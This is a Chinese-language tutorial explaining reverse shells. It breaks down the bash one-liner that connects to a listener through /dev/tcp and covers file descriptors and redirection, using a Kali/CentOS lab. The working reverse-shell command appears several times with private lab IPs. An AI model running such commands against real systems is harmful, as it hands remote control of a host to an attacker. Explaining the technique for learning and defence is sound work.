目录
0x01 什么是反弹shell？
0x02 命令拆分详解
0x03 文件描述符
0x04 shell 输入/输出重定向
0x05 输入输出结合获得shell
什么是反弹shell？
假设有两台主机
A(控制端)
B(被控端)
正向shell，就是ssh、Telnet的连接，A主动发起连接B指定端口，然后A就可以通过命令控制B了
反弹shell，A先开启一个监听端口，让B去连接A的这个端口，连接成功后，A就能控制B了
命令拆分详解
bash -i >& /dev/tcp/192.168.1.1/9090 0>&1
bash -i
bash -i，意为创建一个
交互式的bash shell
/dev/tcp/192.168.1.1/9090
dev是设备(device)的英文缩写。这里主要存放与设备（包括外设）有关的文件
/dev/tcp/是linux中的一个特殊设备，打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，linux中还存在/dev/upd/
所以上述命令是和192.168.1.1:9090建立TCP连接
虽然/dev/tcp/${HOST}/${PORT}这个字符虽然看起来像一个文件系统中的文件，并且位于/dev这个设备文件夹下
但是这个文件并不存在，并且不是一个设备文件。这只是bash实现的用来实现网络请求的一个接口，其实就像我们自己编写的一个命令行程序，按照指定的格式输入host port参数，就能发起一个socket连接
文件描述符
Linux系统中，把一切都看做是文件，当进程打开现有文件或创建新文件时，内核向进程返回一个文件描述符，文件描述符就是内核为了高效管理已被打开的文件所创建的索引，用来指向被打开的文件
所有执行I/O操作的系统调用都会通过文件描述符，即文件描述符可控制输入输出（输出/输出重定向）
| 标准输入(stdin) | 代码为0 | 使用<或<< | 默认设备键盘 |
| 标准输出(stdout) | 代码为1 | 使用>或>> | 默认设备显示器 |
| 标准错误输出(stderr) | 代码为2 | 使用2>或2>> | 默认设备显示器 |
大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入，默认情况下，这恰好是你的终端。同样，一个命令通常将其输入写入到标准输出，默认情况下，这也是你的终端。
shell 输入/输出重定向
如上，我们正常使用终端执行命令时，默认输入输出皆是终端。
输出重定向
顾名思义，就是将输出结果重定向到其他地方
1️⃣>
使用 1> 将输出结果写入到指定文件中，文件不存在则创建文件，文件如果存在会覆盖原文件内容
1> 中的1是默认的可以忽略不写，也就是可以写成>
同理0<可以写成<
2️⃣>>
使用>>会追加内容在文件末尾
3️⃣实例
控制端：kali
被控端：centos
kali监听8888端口
centos输入命令
kali监听到输出结果
kali继续监听端口，centos输入命令
kali得到输出结果
输入重定向
1️⃣实例
kali开启监听端口
centos执行命令，在kali输入命令就能控制centos输入
输入输出结合获得shell
两条命令
bash -i > /dev/tcp/192.168.52.144/8888
bash -i < /dev/tcp/192.168.52.144/8888
结合一下，即可实现反弹shell
bash -i >& /dev/tcp/192.168.52.144/8888 0>&1
1️⃣0>&1
语法格式是
>&word
当word为数字或者-时，表示复制文件描述符
复制格式有num1<&num2和num1>&num2，区别是，前者是以只读的形式打开，后者是以写的形式打开，这里两者均可
0>&1这里意思是将0[标准输入]重定向到了1[标准输出]指向的位置
2️⃣>&
当word不是数字或-字符时，>&表示将标准错误输出合并到标准输出中
